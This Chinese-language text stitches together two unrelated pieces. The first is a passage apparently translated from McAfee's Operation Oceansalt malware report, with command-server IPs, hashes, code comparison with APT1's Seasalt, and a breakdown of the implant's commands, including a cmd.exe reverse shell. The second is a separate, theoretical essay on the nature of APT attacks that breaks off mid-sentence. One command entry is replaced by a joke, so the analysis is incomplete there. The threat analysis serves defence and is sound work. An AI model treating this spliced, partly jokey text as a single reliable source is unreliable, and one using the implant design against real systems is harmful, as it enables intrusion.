l 一旦使用Office打开这些恶意.xls/.doc文档，其内置的恶意宏就会连接远程服务器并下载Oceansalt
l 恶意宏随后会在受感染的终端上执行Oceansalt
.xls恶意下载器的入侵指标（IoC）：
IoC描述 | IoC值
---|---
远程下载服务器 | [redacted].kr
[redacted].kr
远程服务器上的Oceansalt路径 | /admin/data/member/1/log[.]php
/gbbs/bbs/admin/log[.]php
受感染终端上的Oceansalt路径 | %temp%SynTPHelper[.]exe
%temp%LMworker[.]exe
图13 用于下载恶意软件的部分恶意宏代码
### 控制服务器
该恶意活动使用了多个控制服务器。在6月至7月期间，我们观察到的恶意IP包括：
l 172.81.132.62
l 211.104.160.196
l 27.102.112.179
l 158.69.131.78
我们的遥测技术表明该恶意活动运营在多个国家。IP地址211.104.160.196揭示了哥斯达黎加、美国和菲律宾的感染事件。IP地址158.69.131.78揭示了美国和加拿大的感染事件。
这些服务器在8月18日至21日期间分布在多个国家。由于它们在恶意活动中分发不同的恶意软件样本，这意味着它们很可能是更大规模的隐蔽监听网络的一部分。McAfee高级威胁研究小组以前观察到过类似的攻击活动，部分入侵目标被当作中继控制服务器。
## 四、恶意软件溯源
我们对早期样本的初步调查使我们注意到一个编译于2010年的变体 –
bf4f5b4ff7ed9c7275496c07f9836028。Oceansalt使用了该变体的部分代码；它们的整体代码相似度为21%。这部分被重用的代码是独一无二的，不属于任何一个公共库或公共代码，它主要提供侦察和控制功能。
该变体使用了属于APT1的域名。进一步的调查表明该样本与Seasalt的相似度达99%。Seasalt（5e0df5b28a349d46ac8cc7d9e5e61a96）据称是2010年APT1使用的恶意软件。这意味着Oceansalt重用了Seasalt的部分代码构建了一个新的恶意软件。根据对其整体技术水平的分析，Oceansalt不太可能是APT1的再次出现，这就带来了另一个问题，攻击者是如何获得Seasalt代码的呢？我们没有找到任何证据表明Seasalt的源代码在地下论坛出售或泄露过。
我们还发现几个编译于7月16日至17日的恶意软件样本，这些样本虽然经过混淆，但实际上还是同一个样本，只修改了控制服务器等少数几个地方。一些样本缺失反弹shell的功能，这表明攻击者能够访问Seasalt的源代码并进行修改和编译出不同的变体。这或许证明了这是一个由两个国家赞助的网络攻击程序之间的协作攻击行为。
### 与Seasalt代码的相似之处
Oceansalt包含部分与Seasalt相同的字符串：
l Upfileer
l Upfileok
图14 出现在Oceansalt中的Seasalt字符串
图15 出现在Oceansalt中的Seasalt字符串
Oceansalt和Seasalt的共享代码和函数具有高度的相似性。下面列出了它们的一些共性：
#### 命令处理程序和索引表的相似性
Oceansalt和Seasalt的命令处理程序通过相似的语义和指令编码执行相同的功能。甚至它们解析指令编码的机制也是相似的。下图中左边是Seasalt代码，右边是Oceansalt代码：
图16 Seasalt（左）和Oceansalt（右）的命令处理程序之间的相似性
图17 Seasalt（左）和Oceansalt（右）的指令索引表之间的相似性
#### 命令和功能上的相似性
Oceansalt和Seasalt的功能执行的方式是相同的，这表明它们是从同一个代码库开发的。用于表明命令执行成功还是失败的响应代码在两个恶意软件中也是完全一致的。下面是部分相似性案例：
驱动器探测功能：相似的代码签名。使用相同的代码来标记驱动器类型。
图18 Seasalt（左）和Oceansalt（右）的驱动器探测功能的相似性
l 文件探测功能：获取文件信息的API和代码十分相似。发送至控制服务器的用于表明文件是否找到的响应代码也完全一致。
图19 Seasalt（左）和Oceansalt（右）的命令执行功能中的相似性
l 反弹shell创建功能：创建反弹shell的代码签名是相似的，并且创建的反弹shell都是基于cmd.exe
图20 Seasalt（左）和Oceansalt（右）的反弹shell创建功能中的相似性
### 与Seasalt代码的不同之处
Oceansalt和Seasalt的实现存在一定的不同。这证明Oceansalt不仅仅是Seasalt源代码的简单再编译，而是Seasalt的进化版本。
l 编码机制的不同：Oceansalt在数据发送至服务器之前对数据进行编码和解码操作，而Seasalt则没有进行编码，直接将未加密的数据发送至服务器。
l 控制服务器地址的不同：Oceansalt使用了硬编码的控制服务器地址，而Seasalt则是从其binary中解码得到控制服务器的地址。
l
持久性机制的不同：Oceansalt没有任何持久性机制，这意味着它无法在受感染的终端重启后确保二次感染。Seasalt则将自己复制为C:DOCUMEN~1\java.exe并通过以下注册表项确保重启后的二次感染：
− HKLMSoftwareMicrosoftWindowscurrentVersion Run | sysinfo
根据可执行文件的头部信息，Seasalt的编译日期是2010年3月30日。Oceansalt的编译日期是2018年6月1日。在这里我们强调了编译日期的不同是因为根据前面的分析，它们之间存在高度的代码共享：
l 多处一致的代码和相似的代码
l 多个功能相似
l 命令处理功能完全一致
l 控制服务器发布和接收的命令和响应码完全相同
Oceansalt使用的反弹shell创建代码与APT1的Seasalt完全相同。不仅如此，这一反弹shell创建机制（基于管道的进程间通信）在APT1的其它恶意软件中（如WebC2-CSON和WebC2-GREENCAT）也有发现。
这些一致性促使我们认为Oceansalt是基于10年前的Seasalt开发的。Seasalt曾在APT1的报告中曝光过并没有阻碍Oceansalt开发者继续进行开发。
### Oceansalt与Seasalt的混淆机制对比
我们对Oceansalt的初始样本和Seasalt样本的混淆技术进行了全面的分析。
SHA-1 | 编译日期 | 样本
---|---|---
fc121db04067cffbed04d7403c1d222d376fa7ba | 7/16/2018 | 部分混淆的Oceansalt
281a13ecb674de42f2e8fdaea5e6f46a5436c685 | 7/17/2018 | 部分混淆的Oceansalt
1f70715e86a2fcc1437926ecfaeadc53ddce41c9 | 7/17/2018 | 部分混淆的Oceansalt
ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 | 7/16/2018 | 部分混淆的Oceansalt
12a9faa96ba1be8a73e73be72ef1072096d964fb | 7/17/2018 | 部分混淆的Oceansalt
be4fbb5a4b32db20a914cad5701f5c7ba51571b7 | 7/17/2018 | 部分混淆的Oceansalt
0ae167204c841bdfd3600dddf2c9c185b17ac6d4 | 7/17/2018 | 部分混淆的Oceansalt
所有的部分混淆的Oceansalt样本都具有以下特征：
l 编译日期在7月16日至18日之间
l 包含debug语句（print logs），用于将log写入文件：C:UsersPublicVideostemp.log
l 这些debug语句以时间戳开头，并在调试信息的开头包含以下关键字
− [WinMain]
− [FraudProc]
l 连接到同一个控制服务器（IP地址为：27.102.112.179）
l 尽管所有样本都没有添加额外功能（与初始Oceansalt和Seasalt相比），但部分样本缺失了反弹shell功能：
部分混淆的Oceansalt样本哈希 | 是否包含反弹shell功能？
---|---
C1773E9CF8265693F37DF1A39E0CBBE2 | 否
0355C116C02B02C05D6E90A0B3DC107C | 是
74A50A5705E2AF736095B6B186D38DDF | 是
45C362F17C5DC8496E97D475562BEC4D | 否
D14DD769C7F53ACEC482347F539EFDF4 | 否
B2F6D9A62C63F61A6B33DC6520BFCCCD | 是
76C8DA4147B08E902809D1E80D96FBB4 | 是
### 代码共享的证据
基于我们对三类样本（Oceansalt、部分混淆的Oceansalt和Seasalt）的综合分析，我们发现了以下代码共享的证据：
l 攻击者并不是简单地修改了Seasalt的控制服务器IP地址来得到Oceansalt：
–
Seasalt与Oceansalt获得控制服务器IP地址的机制不同。Seasalt在binary文件的末尾获取编码过的数据，解码成以符号$分隔的tokens并获得控制服务器的信息
– Oceansalt则是在binary文件中硬编码了控制服务器IP地址和端口号的明文字符串
l
一些部分混淆的Oceansalt样本缺失反弹shell功能。所有的其它功能（代码签名、响应代码等）以及命令编码都是相似的（指令编码要么完全一致，要么只偏移1）。这种程度的修改只能是在获得Seasalt源代码的基础上进行修改。
l Oceansalt中用于跟踪代码流程的debug字符串表明这些样本是在对Seasalt源码添加debug信息之后编译的：
− [WinMain]after recv cmd=%d 0Dh 0Ah
− [WinMain]before recv 0Dh 0Ah
− [FraudProc]Engine is still active! 0Dh 0Ah
− [FraudPRoc]Process Restart! 0Dh 0Ah
l 这些debug字符串还表明开发者在实施攻击之前进行了初步的测试，并且在没有去除调试信息的情况下进行了混淆
l
Oceansalt样本（531dee019792a089a4589c2cce3dac95，编译于6月1日）包含一些可以验证是Seasalt源码编译而来的关键特征：
– 缺失反弹shell功能
– 缺失驱动器侦察功能
– 动态加载API SHGetFileInfoA()而不是静态导入。这意味着Seasalt的源码在编译之前被修改过
图21 动态加载API
## 五、Oceansalt的功能
Oceansalt大小为76KB，占用的磁盘空间非常小，这使其比较大的恶意软件更难被检测到。该恶意软件具有一个结构化的命令系统，用于从受害者的机器上捕获数据。我们的研究表明该恶意软件是一个第一阶段组件，可以通过它的命令下载第二/三阶段的其它恶意程序。Oceansalt的命令系统还允许攻击者在受害者的机器上执行多种恶意行为。
#### 初步侦察
Oceansalt在开始时会尝试连接到控制服务器158.69.131.78:8080。一旦连接成功，该恶意软件就会将感染终端的以下信息发送至服务器：
l IP地址
l 计算机名称
l 恶意软件的文件路径
这些数据在发送至服务器之前将每一个字节都进行了一个NOT编码操作（取反）。
图22 Oceansalt从感染终端收集的初始数据
图23 Oceansalt的控制服务器连接功能
#### 命令处理功能
Oceansalt具有12条命令。这些命令分别用0x0到0xB（0到11）表示。
图24 命令索引表（即Oceansalt的功能列表）
图25 Oceansalt的命令执行功能
##### 0x0: 驱动器探测
控制服务器向Oceansalt发送此命令以获得感染终端的驱动器信息。信息的格式为：
#<Drive _ letter>:<Drive _ type><Drive _ letter>:<Drive _ type>…#
标签 | 描述
---|---
<Drive_letter> | A、B、C、D、E等，系统上的逻辑驱动器
<Drive_type> | 0 = DRIVE_REMOVABLE
1 = DRIVE_FIXED
2 = DRIVE_CDROM
3 = DRIVE_REMOTE
图26 Oceansalt收集的驱动器信息
##### 0x1: 文件探测
将指定文件或文件夹（由控制服务器指定）的以下信息发送至控制服务器：
l 文件名
l 文件类型，例如是文件还是文件夹
l 如果定位到文件，则发送OK
l 文件创建时间，格式为<YYYY-mm-DD HH:MM:SS>
##### 0x2: 命令执行
通过WinExec()执行命令。命令内容和命令号由控制服务器提供。例如：
<DWORD （命令号）><（命令内容）> 02 00 00 00 C:Windowssystem32calc.exe
该命令是静默执行的（使用WinExec()的SW_HIDE选项）。
图27 Oceansalt的命令执行功能
##### 0x3: 文件删除
l 从硬盘上删除控制服务器指定的文件
l 命令执行成功后，向控制服务器发送一个ASCII码的0
l 命令执行失败后，向控制服务器发送一个ASCII码的1
##### 0x4: 文件写入
l 在指定路径下创建一个文件，并写入控制服务器提供的内容
l 如果文件写入操作成功，向控制服务器发送关键字upfileok
l 如果文件写入操作失败，向控制服务器发送关键字upfileer
图28 Oceansalt的文件写入功能
##### 0x5: 文件读取
（被研究人员吃了）
##### 0x6: 进程探测
l 向控制服务器发送感染终端上所有运行进程的名称和ID列表
l 这些数据是通过单独的数据包发送的，就是说，一个进程一个数据包
图29 Oceansalt的进程探测功能
##### 0x7: 杀死进程
l 通过指定的ID杀死进程
##### 0x8: 创建反弹shell
l 通过Windows管道创建从感染终端到控制服务器的反弹shell
l 该反弹shell基于cmd.exe，可用于实施更多恶意操作。
图30 Oceansalt的反弹shell创建功能
##### 0x9: 操作反弹shell
l 操作前一条命令创建的反弹shell
l 控制服务器发送的命令将由感染终端上的cmd.exe执行
l 命令执行完毕后，通过管道从cmd.exe读取输出并发送至控制服务器
##### 0XA: 终止反弹shell
l 关闭进程间通信的管道句柄，终止反弹shell
##### 0XB: 连接测试
l 通过接收控制服务器发送的7个字节的数据并发送回控制服务器来测试数据接收和发送功能是否正常
持久性
l Oceansalt没有任何持久性机制，无法确保系统重启后继续运行
l 这意味着感染链上的其它组件可能会提供此功能
## 六、结论
根据McAfee高级威胁研究小组的分析，我们将这个全球威胁命名为Operation
Oceansalt。该恶意活动使用与APT1在2010年使用的工具有关的新恶意软件，主要针对韩国等国家。
我们的研究表明APT1的恶意软件以不同的形式部分存活在另一个APT组织针对韩国的恶意活动中。这一研究结果验证了不同的攻击者（包括国家资助的攻击者）是如何进行合作的。
## 七、入侵指标（IoC）
### McAfee检测到的恶意样本
■ Generic.dx!tjz
■ RDN/Generic.grp
■ RDN/Generic.ole
■ RDN/Generic.grp (trojan)
■ RDN/Trojan-FQBD
■ RDN/Generic.RP
### IP 地址
■ 158.69.131.78
■ 172.81.132.62
■ 27.102.112.179
■ 211.104.160.196
### 哈希
■ fc121db04067cffbed04d7403c1d222d376fa7ba
■ 832d5e6ebd9808279ee3e59ba4b5b0e884b859a5
■ be4fbb5a4b32db20a914cad5701f5c7ba51571b7
■ 1f70715e86a2fcc1437926ecfaeadc53ddce41c9
■ dd3fb2750da3e8fc889cd1611117b02d49cf17f7
■ 583879cfaf735fa446be5bfcbcc9e580bf542c8c
■ ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36
■ d72bc671583801c3c65ac1a96bb75c6026e06a73
■ e5c6229825f11d5a5749d3f2fe7acbe074cba77c
■ 9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e
■ 281a13ecb674de42f2e8fdaea5e6f46a5436c685
■ 42192bb852d696d55da25b9178536de6365f0e68
■ 12a9faa96ba1be8a73e73be72ef1072096d964fb
■ 0ae167204c841bdfd3600dddf2c9c185b17ac6d4
## 八、额外信息
#### Oceansalt与Seasalt的代码可视化对比：
图31 Oceansalt，2018
图32 Seasalt，2010 | 社区文章 |
**作者：nEINEI、vxjump
原文链接：<http://www.vxjump.net/files/aptr/aptr.txt>**
## 前言
APT（Advanced Persistent
Threat）是当下网络安全防御面临最大的高级威胁之一。目前最被认可是多层立体的防护解决方案，继而人们又提出共享威胁情报等方式[1]。
这些方法倡导集中现有资源互联互通，增加攻击者成本的方式来整体对抗高级威胁。总之，这些是从应对问题的层面提出的防御方法。
本文将从挖掘APT本质的角度出发，归纳推理出一系列关于高级威胁的特性并以此做为安全研究，防御体系设计的指导原则。同时对攻击能力进行量化研究，形成有序数据，这将对预测APT的发生，了解防御能力的有效性方面给出扎实的实践基础。例如，从技术角度看火焰病毒Flame和造成乌克兰大面积断电的BlackEnergy哪一个攻击性更强？如何证明给客户看防御总是有效果的？攻击者在未来可能出现的技术走向等等难以明晰但迫切需要解决的问题。
## 0x01关于一些表象问题
### 天荆地棘行路难-问题的起点
首先，必须明确APT问题是人为定义的价值判断而不是事实判断。
捕获到攻击者利用的0Day漏洞算是APT吗？抓到特种木马算是APT吗？通过威胁情报“感知并跟踪”到敏感事件算不算是APT？诸如此类的混乱不清的根源就是价值判断缺失。这里的价值判断是说这个事物是否具有我们要求的某个客体的价值。APT的问题如果不拿到特定的语境中去讨论，其结果只能是陷入“到处都是APT”的混乱当中［2］。这里的特定语境就是人为认定的价值判断条件组合起来的语境。缺失，就是却少对这些条件的设定及约束，仅从简单事实开始,以此来推断事件可归类到APT当中的结论。
有能力的安全厂商可以自己去定义哪些情况下是APT事件，它已经越过了简单事实判断的阶段。这一点好转是从2014年开始的[3]。一些严肃的安全厂商在不能完全确信是APT的情况下开始使用Threat
Actor或是Target
Attack来代替。因为作为一次被发现的攻击行动，ThreatActor是个适合的称谓，这避免了关于能不能算得上是高级威胁的似是而非的判断，但本质是什么的问题就又像踢皮球一样回到了我们的面前。
很多这方面的技术人员觉得什么是APT根本是个不需要讨论的问题，因为大家理解我们网络空间所发生的APT指的是什么样的事情。
但实际上，关于这个问题，我们从来都没有得到一个严肃的缺少争议的概念上的认同[4]，进而也得不到一个认清本质的机会。
为了使我们的问题清晰且可被描述我遵循以下原则的设想：
1. 安全厂商的分析与研究工作都是极其严谨认真的
2. 安全厂商发布的APT信息都是真实可靠的
3. 我所研究的APT数据都来源于安全厂商认可的APT信息
此时，你已经知道我所说的的APT是指什么样的安全事件了。
但在谈论到APT时，大众和技术人员仍然存在一种模糊的认识，似乎高级的漏洞利用技巧，强大的系统底层编程技术，领先的攻击思路运用，并被掌握在某些“神秘色彩”的组织手中的应用算得上是APT。如果有能力追踪并公布出这样的APT组织，那就是高人一筹的了。而对APT的防御则认为就是一种综合的体系对抗。这其实是过于乐观的估计了这一问题，无助于认清本质。其实不需要去解释什么是Advanced
，什么是Persistent，Threat，这就如同拿“字典”去查成语一样白费功夫。事实上，APT早已不是它所定义时的初始含义[5]。但我们必须要将此问题彻底透彻的解决，否则就不可能认识到我们所面临的真正问题。
### 横看成岭侧成峰-你所谈到的APT都是表象
在解决真正的本质问题前，我们有必要回顾一下业界的解决方案。
#### 关于FireEye-高级威胁问题
在防御APT的问题当中，FireEye是一个贡献很大，值得尊敬的企业。他们发现了很多APT攻击事件，他们强调0Day漏洞的捕获能力在APT产品防御中的重要性。这一思想引领了众多安全企业的产品开发思路，基于虚拟机的自动化行为分析系统随即成为行业的热点。
在2013到2015年全球出现40个ITW 0Day[6]攻击事件，FireEye发现了其中的25个ITW
0Day，遥遥领先其它巨头安全厂商。虽然25个0Day并不等于25个APT事件，但其影响远不是25个APT事件所能概括的。例如在2013年2月，作为最早发现CVE-2013-0640/0641的FireEye并没有确定及谈到与此漏洞有关的任何APT相关事件，但在其后2个月左右被发现该漏洞可能被MiniDuke
APT组织所改进利用，同年4月份在中国台湾省地区也同样发现了利用CVE-2013-0640的APT样本。当非常多的ITW
0Day出现后，很自然的让人们相信解决0Day漏洞才是APT问题的第一要素。
紧接着windows8.1sp3发布，而后win10的安全特性持续改进，ITW
0Day的利用也出现减少的趋势。（对攻击者来说这需要一个适应窗口期去解决类似绕过MemGC，CFG，ACG,EPM等安全机制的问题，所以在2014，2015年风向转为攻击相对安全性较弱的AdobeReader/flash/office而不是去对抗IE11,Edge。）但实际上，被挖掘出来的新增APT事件却持续增多[7]。所以，0Day漏洞和APT问题并无直接强关联性，这是第一个层面。第二个层面0Day利用是和攻击者策略存在一定的关系。不可否认利用热点政治事件成为APT攻击中的一个策略[8]，可以利用这样的事件做进一步钓鱼攻击。显然对攻击者来讲，何时使用0Day是策略问题，而非其唯一手段。因此0Day漏洞在APT问题中受限于2个层面，系统安全性层面，策略层面，前者越来越难于攻破[9]，后者具有一定的不确定性，所以0Day漏洞的使用只是APT问题的突出表象之一，不具备用来定性APT问题的基础。当然，FireEye也意识到这个情况，从他收购Mandiant（2014年）,iSHIGHT
Partners（2016）时就开始更新了它的防御观念了。
#### 安全巨头-高级威胁的挖掘工作
另外的解决方案中以卡巴斯基，赛门铁克，McAfee，TrendMicro为代表的安全厂商发现了大量的APT事件[10]。这代表了以积累深厚安全检测经验为主要能力的厂商如何挖掘APT事件的技术方向。以卡巴斯基为例，强大引擎保证可以挖掘潜在高价值样本，合理的病毒命名体系保证了样本关联的一致性[11]，使得其对样本关联挖掘，线索追踪方面具有得天独厚的优势。简单说，一条高质量的启发式特征可以扫描出潜在关联性样本。当利用启发式规则命名一个病毒样本后，更新这条规则后分布在全球的产品将立即告诉你还有哪些地区存在类似的感染情况。例如ProjectSauron
APT(发现于2016)[12]
，我编写出针对导入表加节信息的启发式规则，对感染x86平台样本提取一个启发式规则(2009年的样本)，同样也可以检测出x64平台下的ProjectSauron(2012年的样本)[13]。卡巴斯基使用反病毒模拟器技术检测该APT样本具有同样的效果，病毒名字是：HEUR:Trojan.Multi.Remsec.gen
。
传统厂商的优势是可以集中一流的研究人员去挖掘丰富的有效威胁资源，这是在近几年window ITW
0Day漏洞减少的情况下仍然保持一定速率曝光APT组织的原因之一。但偶然性和滞后性的问题也难以克服。震网Stuxnet被发现不是因为AV/IDS/IPS/FW等设备报警，而是在客户机器上的不断的BSOD引起了VBA32研究员的注意，至此才引发多个厂商的接力分析。同时，样本信息的缺失也将导致错过重要的APT事件，例如我分析Duqu遇到的问题[14]。目前，事后的分析能力和实时的报警能力是传统厂商最倚重的基础，即样本是APT事件的主要的推动力。2013年以前,绝大多数厂商奉行独特的高水平样本是APT的主要性质，目前开始接受低技术水平的样本也能体现出APT，例如Patchwork
APT(发现2016)
[15]。因此恶意样本所体现出的技术性是APT所浮现出来的外在表象之一，但不是本质属性。对我们来讲，不能认为高度定制化的恶意程序代表了APT。但挖掘这类利用工具及其相关性是挖掘APT问题的一个重要方面，即关于恶意样本具有高级威胁导向性的研究。
#### 新兴安全-CrowdStrike的思路
以CrowdStrike为代表的一类新兴安全公司,体现了贯彻Kill
Chain的防御思路,但技术方面并不是它的主要特点。从一开始CrowdStrike就对地缘政治问题，经济活动，热点事件给予足够的关心。在命名EMISSARY
PANDA
APT(发现于2013)[16]时，技术圈开始还是略带嘲讽的态度看待，同Mandiant的APT1报告中详尽的技术细节相比，CrowdStrike的报告突出的是事件以及自身情报系统的作用。这一点在其之后的2014/2015年度安全报告中有了更具体的体现，也就说漏洞，样本都是处于从属地位的，事件背后的含义才是定性APT的关键因素。0Day或是N-day,高质量或是低质量的样本都不重要，发现这样的事件才是重要的，一切防御都围绕在这一个框架下进行。
这似乎比前2种情况有了更深一步的思考。但显然，对任何一个组织来说，事件的确认上是存在很大的差异的。受攻击者信息是否搜集完整，逆向分析程度是否足够深入，关联性是否可信，直接证据，间接证据是否充足，事件所持立场因素都会影响最后的结论判断。例如Gauss
APT(发现于2012)[17]的发现，重要在于对Stuxnet,Duqu,Flame对持续跟踪，经过关联研究发现了Gauss
APT，如果没有前面的研究，即便漏洞，样本都放在分析人员面前也未必可以完全确认是否属于高级威胁，而Gauss被发现前隐藏的很好，没有产生“任何事件”。因此，事件是活跃APT的表象之一，未活跃的是我们看不见的但仍然存在威胁。
总体上讲，这就是目前阶段针对APT防御的三种主要思考方式，另外还有从流量异常角度，云端虚拟机分析，大数据分析角度，情报分析角度，态势感知等角度的思考方法。但就目前的防御措施来看，以上的这些情况归纳起来就是对APT存在的各种表象问题进行识别的方法。
## 0x02 真正问题的内涵
### 为有源头活水来 - APT本质是什么
很多人会说“即便这些都是表象，但也代表了APT问题的事实，也是有意义的”。这样的判断并不完全错误，但如果忽略影响表象的内在动因的分析，将犯就事论事的错误。让我们先设想
一个熟悉的攻击场景，攻击者要完成下面7个步骤，
1. 收集目标企业核心人员信息
2. 开发一个Office/Adobe Reader 0Day漏洞利用文档
3. 发生一封伪造内部邮件
4. 拿到执行权限横向渗透
5. 注册表中隐藏完成持久化感染
6. 连接远端C&C
7. 文件窃取完毕
APT组织考虑到目标人物的安全意识很强，因此针对2，5，6点开发了最新的技术来绕过所有的已知的安全防护措施，整个任务实施时间约半年时间。这是你听到的最多的关于APT的故事，原型也是一个真实的APT案例[18]。
下面我们把APT组织从描述中抹去。替换为分布在互联网上擅长不同领域的程序开发人员，仅通过论坛交流技术，相互间并不十分熟识。他们共同认识的X某人组合了这人开发的技术要素,完成了上面7个步骤,成功的入侵了该企业核心人员的计算机。那么请问，这是否认属于APT呢？
似乎有些不容易回答。
我们再把文中提到的核心人员替换为实习人员。此时，我们已经很难肯定这和APT有什么关系了。虽然这一事件包括了一系列的外在表象，0Day漏洞，定制化样本，攻击事件的产生。但无具体目的的一群人攻击了毫无关系的一个人，把这样的事情和APT联系起来总是牵强。但是，这样的事情在网络空间里面层出不穷，显然失去了组织方与攻击的目标后再去谈论APT问题是缺乏理解的表现。把这样的设想当作例子虽然不够严谨，但实际情况是，我们总能看到这样缺少攻击目的不完整的话题被讨论来讨论去。混乱的原因就是表象的争论并不能代表其理解了本质进而做出合理的判断。
### 再看本质问题 - APT是怎样存在的
下面彻底来审视一下我们的问题。高级威胁的本质是什么，换句话说代表高级威胁的APT它的本质是什么。不妨将APT本质想象成一个黑盒子，它外在的表象是0Day漏洞，定制化样本，上游投毒，感染固件，网络攻击事件，信息窃取，断电攻击...等等层出不穷的事件表象。
＋－－－－－＋－－－\ { 0Day 漏洞 }
｜ ｜－－－－－－－－> 表象 { 定制化样本 }
｜ APT本质 ｜－－－－－－－－> { 层出不穷的事件 }
｜ ｜ ... { ... }
＋－－－－－－－－－/
显然,这个本质里面要能演化出如此多的表象需要包括： ｛人，组织，目标，
决策，操作步骤，方法，浏览器研究/内核安全/邮件安全/移动安全/IoT研究，网络研究/固件/安全设备逆向，具体代码编写，模块测试，...｝
且需要有强有力的组织的去调度协调这一系列步骤流程。
但归纳总结起来就只有两点：
1\. 人，组织，目的，决策，操作步骤，方法，抽象起来就是攻击者意向的存在 。
2\. 后面这些都是具体资源的合集，抽象起来就是攻击素材的存在。
只要攻击者意向存在，即便是潭死水也可以不断地创造出不同的表象来进攻网络空间。同时攻击素材越多攻击能力就会越强大，例如由Shadow
Broker曝光的Equation APT组织用到的攻击模块数量，质量上远高于其它系列的APT组织[19]。其攻击能力明显处于金字塔尖上。
让我们再进一步思考，是否有必要强调APT攻击意向及APT素材的特殊性？其实这是区别于非APT攻击的一个最重要性质。没有APT攻击者意向就是缺乏明确的目的，没有攻击素材的特殊性(充足的“网络军火库弹药”)就不能达成APT的目的，二者缺一不可。再扩展一下，普通攻击其实也包括攻击意向和攻击素材。但这里的“个人的攻击意向”要远远弱于APT攻击意向，APT攻击意向是由强大的组织来决定的，且不以个人意志为转移，这是APT攻击具有长期性的一个体现。另外普通攻击素材也是良莠不齐，取决于攻击者群体及个人的知识技能储备情况。
至此，我们已经可以明确APT和普通攻击并无本质区别，都是由攻击意向和攻击素材决定的，APT是普通攻击的加强演化版本。所以就防御思想而言，并不存在一个我们苦苦追求，却仍然没有被发现的超一流APT检测方案存在。
我们丰富现有的资源，侦测更多的APT表象是最踏实的做法。
从对抗角度看，这种攻击者的APT意向是我们当前无法主动消除的，也就是说对方什么时候出拳不由我们决定，因此，防御的滞后性是先天决定的，它不是技术层面可以解决的，但APT意向可以被引导弱化或是加强。有人喜欢讨论杀毒软件特征码技术具有滞后性，因此认为动态行为分析，或者引入人工智能是解决APT的最佳方案，这也是看不到这个层面的问题所导致的片面认识。但应当指出，开发强大的防御体系具有威慑效果，它会使APT攻击者在决策时陷入困难并可能选择防御较弱的目标作为优先被攻击对象。
另外APT素材具有相当复杂的多样性，这是由防御者能力来激发的。被攻击目标的难易程度，攻击策略的选择都将导致APT素材的不断变化。需要仔细研究的案例就是BlackEnergy
APT(2015被发现)[21],这起APT事件的幕后操纵者Sandworm团队技术能力出众[22]，但整个攻击过程没有使用一个0Day漏洞（面对如此复杂的电力系统攻击场景，仅使用带宏的xls文档就撕开来一个进攻的口子。相比较Stuxnet
v1.2携带6个漏洞5个0Day[23]的气势汹汹，势在必得而言，Sandworm
Team这次攻击显得如此的闲庭信步，够用且不浪费，如此精准的控制细思极恐）可以肯定，前期准备的素材一定是非常多的。APT素材只会越来越多，也会继续出现在我们常规观念不易察觉的地方，不同类型厂商之间的协作分析越来越有必要。
现在，我们可以明晰APT这一高级威胁方面的术语所包含的真正进一步含义，即攻击组织在APT素材的协助下由意向转变为目的意图的过程就是APT事件，这个事件的发生过程是具有持续性的。
### 定量研究APT高级威胁
前面我们从定性的角度讨论的APT的本质，为了便于更细致的讨论，我将从定量的角度分析APT本质和攻击意向，攻击素材的关系。
攻击意向记作集合E E = {e | 元素e具有攻击意向属性} －－－－ 2.1
攻击素材记作集合M M = {m| 元素m具有攻击素材属性 } －－－－2.2
E和M一起确定了APT系统,记作A， A = ，A代表了APT的本质的组成集合
E = {e | e1 , e2 , e3 .... en} // e1~ n
代表了不同目标的攻击意向，针对电力的／能源的／金融的／政府的／制造政治事件...
M = {m | m1 , m2 , m3 ... mn} // m1 ~ n
代表了不同的攻击素材，针对浏览器／系统内核／移动／IoT研究／固件／代码逆向／代码开发 ....
APT所产生的表象记作集合
P = {p | 元素p是具有某种APT表象的属性} －－－－2.5
激活函数记作集合 F = {f | 元素f是具有触发具体APT事件的动力因素属性} －－－－2.6 例如，f1 ＝ 政治事件，f2 ＝ 经贸活动 ，f3 ＝
军事行动， f4 ＝ 外交变化 ，f5 ＝ 长期潜伏，f6 ＝ 紧急行动,f7 = 经济利益 ...
同样，表象p和攻击意向e，攻击素材m在激活函数的f的作用下有如关系 p = f(e，m) －－－－2.7
1)在激活函数促进下攻击素材m可以转换产生为m‘，m’是m的扩展应用 ，m' ∈ M, 记作 m ＝> m' －－－－2.4
2)在激活函数的促进下攻击意向e可以转换产生为e‘，e’是e的增强或是减弱 ，e' ∈ E, 记作 e ＝> e' －－－－2.3
因此，表象P是APT本质集合的一个活动投影 A => a' －－－－2.8 // A的活动产生a' a' ∈ P －－－－2.9 // a'属于表象P集合
对比Stuxnet震网事件，2006年伊朗宣布恢复纳坦滋试验厂铀浓缩活动这一事件，对攻击者而言，起到了激活函数F的作用,进而由攻击意向e转化为e'(e'是e的加强，决定使用网络
武器攻击的意图)和攻击素材m(ORNL部门开始着手研究破坏离心机项目)的组合下由激活函数F产生了表象p
即｛离心机被破坏，使用了5个0Day漏洞，攻击工控设备的样本...｝。
在分析出APT本质后，我们可以看到，最终影响表象P的因素是：
1. 激活函数F
2. 攻击意向e
3. 攻击素材m三方面的作用
激活函数F这一动力因素具有两个方面影响，一方面影响内部因素e,m，使其转化为e‘,m’（加强或减弱攻击意向，增加攻击素材），一方面激活f（e‘，m’）产生外部表象p。从防御角度看，激活函数这一因素最复杂，因为我们无法简单根据一个政策，事件，经济活动，外交变化，所持立场等角度判断出F是否对本质A产生确切的影响。这需要对F激活函数有具体的深入研究才能得出相应的一些推断。不妨简化一下这个问题，假设e，m是可以被得知且明确认定情况下，F产生了一个激活函数，例如
f ＝
外交变化，那么攻击者此时最想做的是什呢？站在攻击者对立场可以设想一下，具体哪些电力系统，航空系统，政府部门是否会受到攻击，潜伏的APT是否会因此被激活？可否做到提前预警？需要采取哪些措施？等等问题都是值得我们深入思考的事情。
从理论上讲，攻击意向E不可能被消除，但我们可以利用激活函数F产生一些伪造的动力因素f’，使得e ＝> e'
;e'是弱化的e，使得其它激活函数不能激发f(e‘，m)，这样可以暂时避免或减少目标系统遭受APT攻击的可能性。当下，尚未对激活函数有具体的研究结论时，这样的操作有相当大的难度，但在理论上存在这样的可能。
这里需要说明一下，为什么是攻击意向，而不是意图或是意志呢？
